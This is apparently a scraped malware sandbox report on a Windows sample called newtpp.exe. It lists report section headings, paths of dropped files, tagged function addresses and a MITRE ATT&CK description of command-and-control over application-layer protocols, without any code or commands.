Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0TGTWP10\83[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0TGTWP10\YKK6TT1Y.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0TGTWP10\n[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AA1WTLEO\2[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D90T3WBP\133[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D90T3WBP\556I0ZL4.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D90T3WBP\n[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QW8EMIZ2\1[1]

C:\Users\user\AppData\Local\Temp\21083193641899.jpg

C:\Users\user\AppData\Local\Temp\22195367.exe

Windows Analysis Report
newtpp.exe

Function 0040D0F0 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 00405E10 Relevance: 168.5, APIs: 60, Strings: 36, Instructions: 492
registrysleepfileCOMMON

Function 0040D390 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59
sleepprocessCOMMON

Function 00404FC0 Relevance: 75.5, APIs: 32, Strings: 11, Instructions: 293
fileCOMMON

Function 00403480 Relevance: 74.3, APIs: 26, Strings: 16, Instructions: 771
clipboardstringmemoryCOMMONCrypto

Function 00406610 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037
COMMONCrypto

Function 00406639 Relevance: 52.0, APIs: 34, Instructions: 1023
COMMONCrypto

Function 00404E80 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85
filestringCOMMON

Function 004041A0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Function 0040C260 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Function 004054A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre